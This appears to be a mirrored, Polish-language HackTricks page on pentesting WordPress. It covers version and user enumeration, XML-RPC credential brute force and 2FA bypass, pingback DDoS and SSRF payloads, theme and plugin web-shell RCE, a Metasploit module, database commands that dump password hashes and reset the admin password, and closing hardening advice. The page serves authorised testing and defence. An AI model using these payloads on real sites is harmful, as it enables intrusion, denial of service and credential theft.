mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
400 lines
20 KiB
Markdown
400 lines
20 KiB
Markdown
# Wordpress
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Podstawowe informacje
|
|
|
|
- **Przesłane** pliki znajdują się w: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
|
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
- W **wp-config.php** możesz znaleźć hasło główne do bazy danych.
|
|
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
|
|
|
### **Główne pliki WordPressa**
|
|
|
|
- `index.php`
|
|
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
|
|
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
|
|
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
|
- `/wp-admin/login.php`
|
|
- `/wp-admin/wp-login.php`
|
|
- `/login.php`
|
|
- `/wp-login.php`
|
|
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa.
|
|
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
|
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
|
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
|
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytalnymi typami postów i taksonomiami.
|
|
|
|
**Post exploitation**
|
|
|
|
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
|
|
|
### Uprawnienia użytkowników
|
|
|
|
- **Administrator**
|
|
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
|
|
- **Autor**: Publikuje i zarządza swoimi postami
|
|
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
|
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
|
|
|
## **Pasywna enumeracja**
|
|
|
|
### **Uzyskaj wersję WordPressa**
|
|
|
|
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
|
|
|
|
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
|
|
|
- grep
|
|
```bash
|
|
curl https://victim.com/ | grep 'content="WordPress'
|
|
```
|
|
- `meta name`
|
|
|
|
.png>)
|
|
|
|
- Pliki linków CSS
|
|
|
|
.png>)
|
|
|
|
- Pliki JavaScript
|
|
|
|
.png>)
|
|
|
|
### Pobierz wtyczki
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
### Pobierz motywy
|
|
```bash
|
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
### Ekstrakcja wersji w ogólności
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
|
|
```
|
|
## Aktywna enumeracja
|
|
|
|
### Wtyczki i motywy
|
|
|
|
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
|
|
|
### Użytkownicy
|
|
|
|
- **ID Brute:** Uzyskujesz ważnych użytkowników z witryny WordPress, przeprowadzając Brute Force na identyfikatorach użytkowników:
|
|
```bash
|
|
curl -s -I -X GET http://blog.example.com/?author=1
|
|
```
|
|
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
|
|
|
|
- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
|
|
```bash
|
|
curl http://blog.example.com/wp-json/wp/v2/users
|
|
```
|
|
Inny punkt końcowy `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
|
|
```bash
|
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
|
```
|
|
Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone będą tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**.
|
|
|
|
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
|
|
|
- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
|
|
|
### XML-RPC
|
|
|
|
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
|
|
|
|
Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
|
|
|
**Sprawdź**
|
|
```html
|
|
<methodCall>
|
|
<methodName>system.listMethods</methodName>
|
|
<params></params>
|
|
</methodCall>
|
|
```
|
|

|
|
|
|
**Bruteforce poświadczeń**
|
|
|
|
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można wykorzystać do bruteforce poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
|
```html
|
|
<methodCall>
|
|
<methodName>wp.getUsersBlogs</methodName>
|
|
<params>
|
|
<param><value>admin</value></param>
|
|
<param><value>pass</value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
Wiadomość _"Nieprawidłowa nazwa użytkownika lub hasło"_ wewnątrz odpowiedzi z kodem 200 powinna się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.
|
|
|
|
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
|
|
|
.png>)
|
|
|
|
Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
|
```html
|
|
<?xml version='1.0' encoding='utf-8'?>
|
|
<methodCall>
|
|
<methodName>wp.uploadFile</methodName>
|
|
<params>
|
|
<param><value><string>1</string></value></param>
|
|
<param><value><string>username</string></value></param>
|
|
<param><value><string>password</string></value></param>
|
|
<param>
|
|
<value>
|
|
<struct>
|
|
<member>
|
|
<name>name</name>
|
|
<value><string>filename.jpg</string></value>
|
|
</member>
|
|
<member>
|
|
<name>type</name>
|
|
<value><string>mime/type</string></value>
|
|
</member>
|
|
<member>
|
|
<name>bits</name>
|
|
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
|
</member>
|
|
</struct>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
Również istnieje **szybszy sposób** na brute-force'owanie poświadczeń za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku poświadczeń w tym samym żądaniu:
|
|
|
|
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Obejście 2FA**
|
|
|
|
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi poświadczeniami, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
|
|
|
**DDoS lub skanowanie portów**
|
|
|
|
Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
|
|
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodowany jest **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
|
```html
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params><param>
|
|
<value><string>http://<YOUR SERVER >:<port></string></value>
|
|
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
|
</value></param></params>
|
|
</methodCall>
|
|
```
|
|

|
|
|
|
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
|
|
|
|
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużywać tej metody, aby spowodować DDoS.
|
|
|
|
**DDoS**
|
|
```html
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params>
|
|
<param><value><string>http://target/</string></value></param>
|
|
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
.png>)
|
|
|
|
### wp-cron.php DoS
|
|
|
|
Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp-cron.php`**\
|
|
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
|
|
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
|
|
|
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
|
|
|
|
### /wp-json/oembed/1.0/proxy - SSRF
|
|
|
|
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
|
|
|
|
Oto odpowiedź, gdy to nie działa:
|
|
|
|
.png>)
|
|
|
|
## SSRF
|
|
|
|
{{#ref}}
|
|
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
|
{{#endref}}
|
|
|
|
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
|
|
|
|
## Automatic Tools
|
|
```bash
|
|
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
|
```
|
|
## Uzyskaj dostęp przez nadpisanie bitu
|
|
|
|
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można było więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`).
|
|
```php
|
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
|
return new WP_Error(
|
|
```
|
|
## **Panel RCE**
|
|
|
|
**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)**
|
|
|
|
Wygląd → Edytor motywów → Szablon 404 (po prawej)
|
|
|
|
Zmień zawartość na powłokę php:
|
|
|
|
.png>)
|
|
|
|
Szukaj w internecie, jak możesz uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz uzyskać dostęp tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
### MSF
|
|
|
|
Możesz użyć:
|
|
```bash
|
|
use exploit/unix/webapp/wp_admin_shell_upload
|
|
```
|
|
to get a session.
|
|
|
|
## Plugin RCE
|
|
|
|
### PHP plugin
|
|
|
|
Możliwe, że można przesłać pliki .php jako wtyczkę.\
|
|
Utwórz swój php backdoor, używając na przykład:
|
|
|
|
.png>)
|
|
|
|
Następnie dodaj nową wtyczkę:
|
|
|
|
.png>)
|
|
|
|
Prześlij wtyczkę i naciśnij Zainstaluj teraz:
|
|
|
|
.png>)
|
|
|
|
Kliknij na Procced:
|
|
|
|
.png>)
|
|
|
|
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę:
|
|
|
|
.png>)
|
|
|
|
Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki:
|
|
|
|
.png>)
|
|
|
|
### Uploading and activating malicious plugin
|
|
|
|
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób:
|
|
|
|
1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB, jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
|
|
2. **Instalacja wtyczki**:
|
|
- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`.
|
|
- Prześlij plik zip pobranej wtyczki.
|
|
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
|
|
4. **Eksploatacja**:
|
|
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana z podatności.
|
|
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
|
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
|
|
|
Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
|
|
|
|
**Aby uzyskać bardziej szczegółowe kroki, sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
|
|
|
## From XSS to RCE
|
|
|
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
|
|
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
|
|
- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa.
|
|
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
|
|
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
|
|
- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów stron trzecich WordPressa.
|
|
|
|
## Post Exploitation
|
|
|
|
Extract usernames and passwords:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
|
```
|
|
Zmień hasło administratora:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
|
```
|
|
## Wordpress Plugins Pentest
|
|
|
|
### Powierzchnia ataku
|
|
|
|
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa w celu znalezienia luk w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
|
|
|
- **`wp_ajax`**
|
|
|
|
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje użytkownikom, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiki, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
|
|
|
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
|
```php
|
|
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
|
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
|
```
|
|
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
|
|
|
|
> [!OSTRZEŻENIE]
|
|
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
|
|
|
|
- **REST API**
|
|
|
|
Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST API za pomocą funkcji `register_rest_route`:
|
|
```php
|
|
register_rest_route(
|
|
$this->namespace, '/get/', array(
|
|
'methods' => WP_REST_Server::READABLE,
|
|
'callback' => array($this, 'getData'),
|
|
'permission_callback' => '__return_true'
|
|
)
|
|
);
|
|
```
|
|
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
|
|
|
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
|
|
|
- **Bezpośredni dostęp do pliku php**
|
|
|
|
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
|
|
|
|
## Ochrona WordPressa
|
|
|
|
### Regularne aktualizacje
|
|
|
|
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź również, że automatyczne aktualizacje są włączone w wp-config.php:
|
|
```bash
|
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
|
add_filter( 'auto_update_plugin', '__return_true' );
|
|
add_filter( 'auto_update_theme', '__return_true' );
|
|
```
|
|
Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
|
|
|
### Wtyczki zabezpieczające
|
|
|
|
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
|
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
|
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
|
|
|
### **Inne rekomendacje**
|
|
|
|
- Usuń domyślnego użytkownika **admin**
|
|
- Używaj **silnych haseł** i **2FA**
|
|
- Okresowo **przeglądaj** uprawnienia użytkowników
|
|
- **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force
|
|
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|